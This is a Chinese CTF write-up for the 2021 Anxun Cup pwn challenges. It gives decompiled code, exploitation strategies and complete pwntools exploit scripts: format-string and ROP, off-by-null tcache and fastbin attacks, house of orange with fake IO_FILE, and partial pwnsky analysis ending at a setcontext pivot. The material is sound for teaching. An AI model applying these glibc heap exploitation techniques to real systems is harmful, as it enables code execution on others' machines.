<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    2021安洵杯PWN WP詳解

    一顆小胡椒2021-12-29 16:41:08

    前言

    做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。

    PWN -> stack

    (stack overflow ,fmt)

    題目分析

    保護全開,存在棧溢出,格式化字符串漏洞

    int __cdecl main(int argc, const char **argv, const char **envp){  char buf[24]; // [rsp+10h] [rbp-20h] BYREF  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
      v5 = __readfsqword(0x28u);  init(argc, argv, envp);  read(0, buf, 0x100uLL);                       // stackoverflow  printf(buf);                                  // fmt  puts("--+--");  read(0, buf, 0x100uLL);  printf(buf);  return 0;}
    

    存在system、binsh:

    int useless(){  char v1; // [rsp+Fh] [rbp-1h]
      return system((const char *)v1);}
    

    利用

    1. 格式化字符串泄露canary、processbaseaddr
    2. 棧溢出劫持控制流

    exp

    # -*- coding: UTF-8 -*-from pwn import *
    context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
    io = remote('47.108.195.119', 20113)# libc = ELF('./libc-2.31.so')#io = process('./ezstack')#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda    a=False        : io.recvline(a)ru = lambda a,b=True    : io.recvuntil(a,b)rn = lambda x            : io.recvn(x)sn = lambda x            : io.send(x)sl = lambda x            : io.sendline(x)sa = lambda a,b            : io.sendafter(a,b)sla = lambda a,b        : io.sendlineafter(a,b)irt = lambda            : io.interactive()dbg = lambda text=None  : gdb.attach(io, text)lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data        : u32(data.ljust(4, '\x00'))uu64 = lambda data        : u64(data.ljust(8, '\x00'))ur64 = lambda data        : u64(data.rjust(8, '\x00'))sla('請輸入你的隊伍名稱:','SN-天虞')sla('請輸入你的id或名字:','一夢不醒')useless = 0xA8cpop_rdi = 0x0000000000000b03binsh = 0x00B24sl('%17$p@%11$p')process = int(ru('@')[-14:],16) - 0x9dcprint hex(process)canary = int(rn(18),16)print hex(canary)
    pay = 'a'* 0x18 + p64(canary) + p64(0xdeadbeef)+ p64(process + pop_rdi) + p64(process + binsh) + p64(process + useless)sla('--+--',pay)irt()
    

    PWN -> noleak 

    (offbynull,tcache bypass)

    題目分析

    保護全開,ida查看理清程序邏輯,特別是分析結構體,add和delete功能和chunk的idx索引怎么變化,然后就是edit是否存在漏洞,功能分析:

    1. 輸入加密str進入程序,簡單的亦或為N0_py_1n_tHe_ct7
    2. 添加chunk,輸入idx和size,在bss段有chunks結構體,最多10個chunk,沒有判斷chunk是否為null,可以重復添加
    3. 刪除chunk,不存在uaf
    4. 編輯chunk,存在offbynull
    5. 查看chunk,輸出內容

    add函數:

    unsigned __int64 add(){  unsigned int v0; // ebx  unsigned int v2; // [rsp+0h] [rbp-20h] BYREF  _DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF
      *(_QWORD *)&size[1] = __readfsqword(0x28u);  v2 = 0;  size[0] = 0;  puts("Index?");  __isoc99_scanf("%d", &v2);  if ( v2 > 9 )  {    puts("wrong and get out!");    exit(0);  }  puts("Size?");  __isoc99_scanf("%d", size);  v0 = v2;  (&chunks)[2 * v0] = malloc(size[0]);  if ( !(&chunks)[2 * v2] )  {    puts("error!");    exit(0);  }  LODWORD((&chunks)[2 * v2 + 1]) = size[0];  return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];}
    

    chunk結構體:

    struct{    char* ptr;    int size;}
    

    編輯函數:

    unsigned __int64 edit(){  int v0; // eax  unsigned int v2; // [rsp+Ch] [rbp-14h] BYREF  _QWORD *v3; // [rsp+10h] [rbp-10h]  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
      v4 = __readfsqword(0x28u);  puts("Index?");  __isoc99_scanf("%d", &v2);  if ( v2 > 9 )    exit(0);  if ( !(&chunks)[2 * v2] )    exit(0);  v3 = (&chunks)[2 * v2];  puts("content:");  v0 = read(0, (&chunks)[2 * v2], LODWORD((&chunks)[2 * v2 + 1]));  *((_BYTE *)v3 + v0) = 0; //offbynull  return __readfsqword(0x28u) ^ v4;}
    

    chunk的idx索引和數組索引一致。

    當時做題只看了編譯程序的ubuntu版本是16.04,就以為是libc-2.23,結果本地都打通了遠程不行,后來才發現題目提供的libc是2.27的,eimo了,一下提供兩個環境下的利用方式:

    libc-2.23:

    1. unsorted bin leak libcaddr
    2. make chunk merge up to unsorted bin
    3. fastbin attack to malloc mallochook
    4. onegadget to getshell

    libc-2.27(tcache):

    利用方式1:

    填滿tcache bypass tcache

    1. fill up the tcache and make chunk merge up by offbynull
    2. unsortedbin leak libcaddr
    3. add chunk to make chunk overlap
    4. tcache attack to malloc freehook
    5. malloc chunk to tigger system

    利用方式2:

    tcache只有64個單鏈表結構,每個鏈表最多7個chunk,64位機器上以16字節遞增,從24到1032字節,所以tcache只能是no-large chunk,我們可以申請large chunk繞過tcache

    1. malloc large chunk and make chunk merge up by offbynull
    2. malloc chunk to leak libc addr
    3. fastbin attack to malloc freehook
    4. modify freehook to system
    5. free chunk to tigger system

    exp

    exp1 libc-2.23

    # -*- coding: UTF-8 -*-from pwn import *
    context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
    #io = remote('47.108.195.119', 20182)# libc = ELF('./libc-2.31.so')io = process('noleak1')libc = ELF('/glibc/2.23/64/lib/libc.so.6')
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda    a=False        : io.recvline(a)ru = lambda a,b=True    : io.recvuntil(a,b)rn = lambda x            : io.recvn(x)sn = lambda x            : io.send(x)sl = lambda x            : io.sendline(x)sa = lambda a,b            : io.sendafter(a,b)sla = lambda a,b        : io.sendlineafter(a,b)irt = lambda            : io.interactive()dbg = lambda text=None  : gdb.attach(io, text)lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data        : u32(data.ljust(4, '\x00'))uu64 = lambda data        : u64(data.ljust(8, '\x00'))ur64 = lambda data        : u64(data.rjust(8, '\x00'))def add(idx,size):    sl('1')    sla('Index?',str(idx))    sla('Size?',str(size))def show(idx):    sl('2')    sla('Index?',str(idx))
    def edit(idx,content):    sl('3')    sla('Index?',str(idx))    sa('content:',content)
    def delete(idx):    sl('4')    sla('Index?',str(idx))
    enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31,   0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]s = ''for i in range(4):    for j in range(4):        s += chr(enc[4*j+i])        print s
    #sla('請輸入你的隊伍名稱:','SN-天虞')#sla('請輸入你的id或名字:','一夢不醒')sl('N0_py_1n_tHe_ct7')add(0,0xf0)add(1,0x50)delete(0)add(0,0xf0)show(0)leak = uu64(rl())lg('leak')libcbase = leak - 0x3c3b78lg('libcbase')mallochook = libcbase + libc.symbols['__malloc_hook']lg('mallochook')system = libcbase + libc.symbols['system']lg('system')add(2,0xf0)add(3,0x68)add(4,0x68)add(5,0x178)add(6,0x10)delete(2)delete(3)  # free to fastbin
    edit(4,'a'*0x60+p64(0x100+0x70*2)) # offbynulledit(5,'a'*0xf0+p64(0)+p64(0x81))  # fake chunk lastremainder
    delete(5)  # chunk Merge up to unsorted bin
    add(5,0xf0+0x70)  # malloc unsorted binedit(5,'a'*0xf0+p64(0)+p64(0x70)+p64(mallochook-0x23)) # modify chunk 3 fd to mallochook# fastbin atttackadd(2,0x68) 
    add(3,0x68)
    one = [0x45206,0x4525a,0xef9f4,0xf0897]edit(3,'a'*0x13+p64(libcbase + one[2]))#dbg()add(2,0xf0)irt()
    

    exp2 libc-2.27:

    # -*- coding: UTF-8 -*-from pwn import *
    #context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
    io = remote('47.108.195.119', 20182)# libc = ELF('./libc-2.31.so')#io = process('noleak2')libc = ELF('./libc.so.6')
    l64 = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda    a=False        : io.recvline(a)ru = lambda a,b=True    : io.recvuntil(a,b)rn = lambda x            : io.recvn(x)sn = lambda x            : io.send(x)sl = lambda x            : io.sendline(x)sa = lambda a,b            : io.sendafter(a,b)sla = lambda a,b        : io.sendlineafter(a,b)irt = lambda            : io.interactive()dbg = lambda text=None  : gdb.attach(io, text)lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data        : u32(data.ljust(4, '\x00'))uu64 = lambda data        : u64(data.ljust(8, '\x00'))ur64 = lambda data        : u64(data.rjust(8, '\x00'))def add(idx,size):    sl('1')    sla('Index?',str(idx))    sla('Size?',str(size))def show(idx):    sl('2')    sla('Index?',str(idx))
    def edit(idx,content):    sl('3')    sla('Index?',str(idx))    sa('content:',content)
    def delete(idx):    sl('4')    sla('Index?',str(idx))
    enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31,   0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]s = ''for i in range(4):    for j in range(4):        s += chr(enc[4*j+i])        print s
    sla('請輸入你的隊伍名稱:','SN-天虞')sla('請輸入你的id或名字:','一夢不醒')sl('N0_py_1n_tHe_ct7')for i in range(8):    add(i,0xf0)add(8,0x178)add(9,0x178)for i in range(7): # 1-7    delete(i+1)
    edit(8,b'a'*0x170+p64(0x980)) #off by nulledit(9,b'a'*0xf0+p64(0)+p64(0x81))
    delete(0) #unsigned bindelete(9) #chunk merge up to unsorted binfor i in range(7):    add(i,0xf0)add(0,0xf0) show(0)   # 0 1-8leak = l64()lg('leak')#dbg()libc_base = leak - 0x3b0230lg('libc_base')free_hook=libc_base+libc.sym['__free_hook']lg('free_hook')malloc_hook=libc_base+libc.sym['__malloc_hook']lg('malloc_hook')add(9,0xf0)delete(6) # 6==9#gdb.attach(p)edit(9,p64(free_hook-0x8))#dbg()add(6,0xf0) # 6
    add(9,0xf0) # 10#add1(0xf0)
    #gdb.attach(p)edit(9,"/bin/sh\x00"+p64(libc_base+libc.sym['system']))
    delete(9)irt()
    

    exp3 libc-2.27:

    from pwn import *
    p=process('./noleak2')#p=remote('47.108.195.119',20182)context.terminal = ["/usr/bin/tmux","sp","-h"]context.log_level='debug'elf=ELF('./noleak2')libc=ELF('libc.so.6')#gdb.attach(p,'b *$rebase(0xfc9)')
    #p.sendline('n03tAck')#p.sendline('1u1u')
    p.sendlineafter('please input a str:','\x4e\x30\x5f\x70\x79\x5f\x31\x6e\x5f\x74\x48\x65\x5f\x63\x74\x37')
    def menu(id):    p.sendlineafter('>',str(id))
    def add(id,size):    menu(1)    p.sendlineafter('Index?',str(id))    p.sendlineafter('Size?',str(size))
    def show(id):    menu(2)    p.sendlineafter('Index?',str(id))
    def edit(id,content):    menu(3)    p.sendlineafter('Index?',str(id))    p.sendlineafter('content:',str(content))
    def delete(id):    menu(4)    p.sendlineafter('Index?',str(id))
    add(0,0x450)add(1,0x18)add(2,0x4f0)add(3,0x18)
    delete(0)gdb.attach(p)edit(1,'a'*0x10+p64(0x480))delete(2)
    add(0,0x450)show(1)
    leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))malloc_hook=leak+0x7f3223b9bc30-0x7f3223b9bca0success('malloc_hook:'+hex(malloc_hook))libc_base=malloc_hook-libc.sym['__malloc_hook']success('libc_base:'+hex(libc_base))
    add(2,0x18)delete(2)edit(1,p64(libc_base+libc.sym['__free_hook']))
    add(4,0x10)add(5,0x10)edit(5,p64(libc_base+libc.sym['system']))
    add(6,0x30)edit(6,'/bin/sh\x00')delete(6)
    #gdb.attach(p)
    p.interactive()
    

    總結

    這個題目做之前看程序是2.23的,結果做完了發現libc是2.27的,直接崩潰,又換了2.27的利用方式,最后看官方wp直接申請大chunk直接泄露地址,比我的要簡潔些,所以就有了這三個版本的exp,題目中規中矩,常規題目。此次第一次遇見遠程環境要輸入隊名和用戶名,拿到shell后獲取的是sky_token,拿token去換flag,為了防止py也是想盡了辦法呀,哈哈。

    PWN -> ezheap (heap overflow,no free,house of orange,IOfile)

    題目分析

    保護全開,環境libc-2.23,ida查看代碼,

    unsigned __int64 chng_wpn(){  int size; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
      v2 = __readfsqword(0x28u);  if ( !*((_QWORD *)&name + 1) )  {    puts("you have no weapon");    exit(1);  }  puts("size of it");  __isoc99_scanf(&unk_E94, &size);  puts("name");  read(0, *((void **)&name + 1), size);         // heap overflow  putchar(10);  return __readfsqword(0x28u) ^ v2;}
    

    gift函數輸出heap地址。

    分析程序功能:

    1. 輸出heap地址
    2. add,申請空間,寫入name,heap指針在bss段
    3. edit,堆溢出,只能編輯當前申請的chunk,不能編輯之前的
    4. show,輸出當前chunk

    利用

    這種沒有free函數的就用house of orange的思想,通過溢出將top chunk改小,申請比top chunk大的chunk的時候就會將top chunk釋放入相應的bin目錄,系統再次為topchunk申請內存,達到free效果,可以接著house of force申請大塊內存到特定地址,從而申請到特定內存,去打freehook,malloc_hook;有時候申請大內存會報錯,可以利用攻擊IO_LIST_ALL制造fake io_file_plus結構體,覆蓋flag為binsh,io_overflow_t為system來劫持控制流。iofile詳細分析

    1. Overwrite top chunk size through heap overflow
    2. free top chunk to unsortedbin to leak libc
    3. fake io file_Plus structure attack IO list_all
    4. Call the add function to trigger iofile

    exp

    # -*- coding: UTF-8 -*-from pwn import *
    context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
    #io = remote('47.108.195.119', 20182)# libc = ELF('./libc-2.31.so')io = process('./pwn')libc = ELF('/glibc/2.23/64/lib/libc.so.6')
    l64 = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda    a=False        : io.recvline(a)ru = lambda a,b=True    : io.recvuntil(a,b)rn = lambda x            : io.recvn(x)sn = lambda x            : io.send(x)sl = lambda x            : io.sendline(x)sa = lambda a,b            : io.sendafter(a,b)sla = lambda a,b        : io.sendlineafter(a,b)irt = lambda            : io.interactive()dbg = lambda text=None  : gdb.attach(io, text)lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data        : u32(data.ljust(4, '\x00'))uu64 = lambda data        : u64(data.ljust(8, '\x00'))ur64 = lambda data        : u64(data.rjust(8, '\x00'))def add(idx,size):    sl('1')    sla('Index?',str(idx))    sla('Size?',str(size))def show(idx):    sl('2')    sla('Index?',str(idx))
    def edit(idx,content):    sl('3')    sla('Index?',str(idx))    sa('content:',content)
    def delete(idx):    sl('4')    sla('Index?',str(idx))
    #sla('請輸入你的隊伍名稱:','SN-天虞')#sla('請輸入你的id或名字:','一夢不醒')
    def menu(index):    sla("choice :",str(index))def create(size,content):    menu(1)    sla("of it",str(size))    sa("ame?", content)def show():    menu(3)def edit(size,content):    menu(2)    sla("of it",str(size))    sa("ame", content)
    heap = int(rl(),16) - 0x10lg('heap') 
    create(0x20,"aaaaa")edit(0x30,b"a"*0x28+p64(0xfb1)) # house of orange
    create(0xff0,"bbbb")create(0x48,"")
    show()
    ru("is : ")info=uu64(rn(6))lg("info")libc_address= info - 0x3c410a
    lg('libc_address')malloc_hook = libc_address + libc.symbols['__malloc_hook']lg('malloc_hook')_IO_list_all_addr = libc_address + libc.sym['_IO_list_all']lg('_IO_list_all_addr')system_addr = libc_address + libc.sym['system']lg('system_addr')
    vtable_addr = heap + 0x178fake = "/bin/sh\x00"+p64(0x61)fake += p64(0xDEADBEEF)+p64(_IO_list_all_addr-0x10)fake +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_basefake = fake.ljust(0xc0,"\x00")fake += p64(0)*3+p64(vtable_addr) # mode <=0
    payload = 'a'*0x40payload += fakepayload += 'a'*0x10payload += p64(system_addr)
    edit(len(payload),payload)#dbg()ru(": ")sl('1')irt()
    

    總結

    這個題目用到的知識點很老了,但是我也是很早學的iofile,長時間不用忘記了,比賽的時候只想到用house of force,結果在申請大的chunk的時候報錯,一直就僵在那里了,這里house of orange也可以結合iofile進行利用,本人早在剛入門pwn的時候總結過iofile相關的東西,結果長時間不用都又還給別人了,eimo了。

    PWN -> pwnsky

    題目分析

    題目附件給了一個lua.bin、pwn和一些依賴庫,看到這就知道這個是個lua、c互調的程序,增加直觀上的題目難度,題目程序保護全開,沒有找到程序的編譯版本,但是可以看到libc版本為2.31。首先題目給出的是lua.bin文件,為lua的字節碼,首先需要反編譯lua.bin,得到lua源碼。

    反編譯lua

    開源工具有兩個,一個是luadec(c寫的),一個是unluac(java寫的),兩個都可以。不過unluac支持最新5.4.x的版本反編譯。

    java -jar unluac.jar lua.bin > lua.lua反編譯后:

    function Pwnsky(name)  local self = {}  local ServerInit = function()    self.name = name    self.account = 0    self.password = 0    self.is_login = 0    self.init = init    self.print_logo = print_logo  end  function self.info()    print("Server Info:")    local time = os.date("%c")    print("Server name: " .. self.name)    print("Date time: " .. time)    if self.is_login == 0 then      print("Account status: Not login")    else      print("Account status: Logined")      print("Account : " .. self.account)    end  end  function self.login()    print("pwnsky cloud cache login")    io.write("account:")    self.account = io.read("*number")    io.write("password:")    self.password = io.read("*number")    self.is_login = login(self.account, self.password)    if self.is_login == 1 then      print("login succeeded!")    else      print("login failed!")    end  end  function self.run()    while true do      io.write("$")      local ops = io.read("*l")      if ops == "login" then        self.login()      elseif ops == "info" then        self.info()      elseif ops == "add" then        if self.is_login == 1 then          print("size?")          size = io.read("*number")          idx = add_data(size)          print("Data index: " .. idx)        else          print("login first...")        end      elseif ops == "del" then        if self.is_login == 1 then          print("index?")          index = io.read("*number")          delete_data(index)        else          print("login first...")        end      elseif ops == "get" then        if self.is_login == 1 then          print("index?")          index = io.read("*number")          get_data(index)        else          print("login first...")        end      elseif ops == "help" then        print("commands:")        print("login")        print("info")        print("add")        print("del")        print("get")        print("exit")      elseif ops == "exit" then        print("exit")        break      end    end  end  ServerInit()  return selfendfunction main()  alarm(60)  local pwn = Pwnsky("pwnsky cloud cache 1.0")  pwn:print_logo()  pwn:info()  pwn:init()  pwn:run()end
    

    可以看到程序的主函數邏輯是用lua寫的,調用的相關函數是在pwn程序實現的,pwn程序啟動首先加載lua.bin解析lua程序,

    __int64 __fastcall sub_1DE9(__int64 a1, __int64 a2){  __int64 v3; // [rsp+0h] [rbp-10h]
      v3 = luaL_newstate(a1, a2);  luaL_openlibs(v3);  if ( (unsigned int)luaL_loadfilex(v3, "lua.bin", 0LL)    || (unsigned int)lua_pcallk(v3, 0LL, 0xFFFFFFFFLL, 0LL, 0LL, 0LL) )  {    puts("n");  }  lua_pushcclosure(v3, sub_1C51, 0LL);  lua_setglobal(v3, "print_logo");  lua_pushcclosure(v3, init_0, 0LL);  lua_setglobal(v3, "init");  lua_pushcclosure(v3, login, 0LL);  lua_setglobal(v3, "login");  lua_pushcclosure(v3, alarm_0, 0LL);  lua_setglobal(v3, "alarm");  lua_pushcclosure(v3, add_data, 0LL);  lua_setglobal(v3, "add_data");  lua_pushcclosure(v3, delete, 0LL);  lua_setglobal(v3, "delete_data");  lua_pushcclosure(v3, get_data, 0LL);  lua_setglobal(v3, "get_data");  return v3;
    

    解題準備(patchelf,去除chroot)

    結合給出的start文件(hint是比賽過程中放的):

    sudo chroot ./file/ ./pwn 
    hint1: 不要太依賴于F5哦。hint2: 解密算法就是加密算法。hint3: 需要在sub_17BB和sub_143A函數去除花指令,使其F5能夠正確反編譯。
    

    可以看到程序需要chroot到當前文件夾,那么問題來了,有chroot 怎么用gdb怎么調試呢?太菜的我選擇了將程序lua.bin改成./lua.bin,然后把依賴庫放到/lib相應目錄下,其實就一個lua的依賴庫。我本地也是2.31的,這樣就不用chroot了,可以直接運行。如果有大佬知道怎么不用patchelf路徑就能gdb調試,請分享一下偶。

    去除花指令

    根據提示知道sub_17BB和sub_143A存在花指令,我說半天找不到關鍵函數。sub_17BB在有漏洞的地方加了花指令,使得ida反編譯找看不出漏洞代碼;在sub_143A函數加了花指令,使得ida分析login函數邏輯失敗,查看代碼發現sub_17BB函數有一場數據塊可能是關鍵代碼:

    .text:00000000000019AC                 mov     eax, 0.text:00000000000019B1                 call    _printf.text:00000000000019B6                 lea     r8, loc_19BD                         <------------花指令----------->.text:00000000000019BD.text:00000000000019BD loc_19BD:                               ; DATA XREF: sub_17BB+1FB↑o.text:00000000000019BD                 push    r8.text:00000000000019BF                 add     [rsp+38h+var_38], 0Dh.text:00000000000019C4                 retn.text:00000000000019C4 ; ---------------------------------------------------------------------------.text:00000000000019C5                 db 0E9h, 23h, 0C5h.text:00000000000019C8                 dq 3DAF058D480000h, 48D26348E0558B00h, 0C08400B60FD0048Bh.text:00000000000019C8                 dq 3D97058D482A75h, 48D26348E0558B00h, 48F0458B48D0148Bh           <----------異常數據塊-------->.text:00000000000019C8                 dq 4800000001BAD001h, 0E800000000BFC689h, 1B8FFFFF724h.text:0000000000001A10                 db 0.text:0000000000001A11 ; ---------------------------------------------------------------------------.text:0000000000001A11.text:0000000000001A11 loc_1A11:                               ; CODE XREF: sub_17BB+50↑j
    

    可以看到異常數據塊前有一些異常代碼,將下一條命令地址賦給r8,然后入棧,rsp向下移動0xd,return,相當于啥沒做,把0x19b6到0x19c4代碼nop掉,還原邏輯如下:

    .text:000000000000199F 48 89 C6                                mov     rsi, rax.text:00000000000019A2 48 8D 05 03 17 00 00                    lea     rax, aGiftLlx   ; "gift: %llx\n".text:00000000000019A9 48 89 C7                                mov     rdi, rax        ; format.text:00000000000019AC B8 00 00 00 00                          mov     eax, 0.text:00000000000019B1 E8 1A F7 FF FF                          call    _printf.text:00000000000019B6 90                                      nop                     ; Keypatch filled range [0x19B6:0x19C4] (15 bytes), replaced:.text:00000000000019B6                                                                 ;   lea r8, loc_19BD.text:00000000000019B6                                                                 ;   push r8.text:00000000000019B6                                                                 ;   add [rsp+38h+var_38], 0Dh.text:00000000000019B6                                                                 ;   retn.text:00000000000019B7 90                                      nop.text:00000000000019B8 90                                      nop.text:00000000000019B9 90                                      nop.text:00000000000019BA 90                                      nop.text:00000000000019BB 90                                      nop.text:00000000000019BC 90                                      nop.text:00000000000019BD 90                                      nop.text:00000000000019BE 90                                      nop.text:00000000000019BF 90                                      nop.text:00000000000019C0 90                                      nop.text:00000000000019C1 90                                      nop.text:00000000000019C2 90                                      nop.text:00000000000019C3 90                                      nop.text:00000000000019C4 90                                      nop.text:00000000000019C5 90                                      nop                     ; Keypatch modified this from:.text:00000000000019C5                                                                 ;   jmp near ptr 0DEEDh.text:00000000000019C5                                                                 ; Keypatch padded NOP to next boundary: 4 bytes.text:00000000000019C6 90                                      nop.text:00000000000019C7 90                                      nop.text:00000000000019C8 90                                      nop.text:00000000000019C9 90                                      nop.text:00000000000019CA 48 8D 05 AF 3D 00 00                    lea     rax, qword_5780.text:00000000000019D1 8B 55 E0                                mov     edx, [rbp+var_20].text:00000000000019D4 48 63 D2                                movsxd  rdx, edx.text:00000000000019D7 48 8B 04 D0                             mov     rax, [rax+rdx*8].text:00000000000019DB 0F B6 00                                movzx   eax, byte ptr [rax].text:00000000000019DE 84 C0                                   test    al, al
    

    另一個函數同樣方法去花。

    程序分析及功能

    關鍵的功能有以下幾個:

    1. login。用戶名1000、密碼為418894113通過驗證;可還原異或加密(流加密)。
    2. add。申請一個chunk,個數0-100,有非空檢查,size在0-4096之間會將chunk地址、size寫到bss段,如果data[0]=0,則會多讀一個字節,造成offbyone。
    3. get。輸出非空chunk的context
    4. del。刪除非空chunk。指針置零,不存在UAF。

    init_0函數:

    unsigned __int64 sub_1617(){  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
      v1 = __readfsqword(0x28u);  init_setvbuf();  seccomp(); //沙箱seccomp_rule_add(v1, 0LL, 59LL, 0LL); 禁用59號中斷,不能getshell  init_key();//初始化key  return v1 - __readfsqword(0x28u);}
    

    login函數:

    __int64 __fastcall sub_1663(__int64 a1){  __int64 result; // rax  __int64 pass[2]; // [rsp+10h] [rbp-10h] BYREF
      pass[1] = __readfsqword(0x28u);  if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) )  {    LODWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL);    lua_settop(a1, 4294967294LL);    if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) )    {      HIDWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL);      lua_settop(a1, 4294967294LL);      encode(&key, pass, 4LL);                  // 0x6b8b4567327b23c6 key調試得到,真正生成的是在init函數中根據隨機數生成的,不過是固定死的srand(0);      if ( pass[0] == 0x3E8717E5E48LL )        //這里ida反編譯有點問題,實際上是pass[0]==0x3e8&&pass[1]==0x717e5e48,可以看匯編看出        lua_pushinteger(a1, 1LL);      else        lua_pushinteger(a1, 0LL);      result = 1LL;    }    else    {      error(        a1,        (int)"In function: login, account argument must a number",        "In function: login, account argument must a number");      result = 0LL;    }  }  else  {    error(      a1,      (int)"In function: login, password argument must a number",      "In function: login, password argument must a number");    result = 0LL;  }  return result;}
    unsigned __int64 __fastcall encode(__int64 *key, __int64 pass, unsigned __int64 len){  unsigned __int8 v5; // [rsp+23h] [rbp-1Dh]  int i; // [rsp+24h] [rbp-1Ch]  __int64 v7; // [rsp+30h] [rbp-10h] BYREF  unsigned __int64 v8; // [rsp+38h] [rbp-8h]
      v8 = __readfsqword(0x28u);  v7 = *key;  for ( i = 0; len > i; ++i )  {    v5 = *((_BYTE *)&v7 + (((_BYTE)i + 2) & 7)) * (*((_BYTE *)&v7 + (i & 7)) + *((_BYTE *)&v7 + (((_BYTE)i + 1) & 7)))       + *((_BYTE *)&v7 + (((_BYTE)i + 3) & 7));    *(_BYTE *)(i + pass) ^= v5 ^ table[v5];    *((_BYTE *)&v7 + (i & 7)) = 2 * v5 + 3;    if ( (i & 0xF) == 0 )      sub_143A(key, &v7, table[(unsigned __int8)i]);//反編譯問題,v7是返回值,參數是key和table[i&0xff]  }  return v8 - __readfsqword(0x28u);}
    unsigned __int64 __fastcall sub_143A(__int64 a1, __int64 a2, char a3){  int i; // [rsp+24h] [rbp-Ch]  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
      v5 = __readfsqword(0x28u);  for ( i = 0; i <= 7; ++i )  {    *(_BYTE *)(i + a2) = *(_BYTE *)(i + a1) ^ table[*(unsigned __int8 *)(i + a1)];    *(_BYTE *)(i + a2) ^= (_BYTE)i + a3;  }  return v5 - __readfsqword(0x28u);}
    

    按照程序邏輯還原邏輯后將密文輸入,就得到明文。

    add函數:

    __int64 __fastcall add_data(__int64 a1){  __int64 result; // rax  int i; // [rsp+10h] [rbp-20h]  int v3; // [rsp+14h] [rbp-1Ch]  int size; // [rsp+18h] [rbp-18h]  int v5; // [rsp+1Ch] [rbp-14h]  unsigned __int64 j; // [rsp+20h] [rbp-10h]
      if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) )  {    size = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL);    lua_settop(a1, 4294967294LL);    for ( i = 0; i <= 100 && qword_5780[i]; ++i )    {      if ( i == 100 )        return 0LL;    }    if ( size > 0 && size <= 4095 )    {      qword_5780[i] = malloc(size);      v3 = 0;      for ( j = 0LL; j < size; ++j )      {        v5 = read(0, (void *)(qword_5780[i] + j), 1uLL);        if ( *(_BYTE *)(qword_5780[i] + j) == 10 )          break;        if ( v5 > 0 )          v3 += v5;      }      dword_5AA0[i] = size;      encode(&key, qword_5780[i], v3);                     <----------加密存放--------->      lua_pushinteger(a1, i);      printf("gift: %llx", qword_5780[i] & 0xFFFLL);     <----------輸出chunk后3字節偏移-------->      if ( !*(_BYTE *)qword_5780[i] )                        <-----------offbyone------------>        read(0, (void *)(qword_5780[i] + j), 1uLL);      result = 1LL;    }    else    {      result = 0LL;    }  }  else  {    error(      a1,      (int)"In function: add_data, first argument must a number",      "In function: add_data, first argument must a number");    result = 0LL;  }  return result;}
    

    到這里基本清楚程序存在offbyone漏洞,沙箱限制getshell,onegadgetsystem(‘/bin/sh’)不好用了,只能讀取flag,可以構造orw讀取flag,可通過制造堆塊重疊來打__free_hook, 修改freehook為setcontext+61的思路去刷新環境,進行堆棧遷移,構造orw,讀取flag。

    這里setcontext+61關鍵的寄存器是rdx,setcontext+61片段如下:

    .text:00000000000580DD                 mov     rsp, [rdx+0A0h]  <------setcontext+61------->刷新rsp到heap,指向orw ROP鏈.text:00000000000580E4                 mov     rbx, [rdx+80h].text:00000000000580EB                 mov     rbp, [rdx+78h].text:00000000000580EF                 mov     r12, [rdx+48h].text:00000000000580F3                 mov     r13, [rdx+50h].text:00000000000580F7                 mov     r14, [rdx+58h].text:00000000000580FB                 mov     r15, [rdx+60h].text:00000000000580FF                 test    dword ptr fs:48h, 2.text:000000000005810B                 jz      loc_581C6
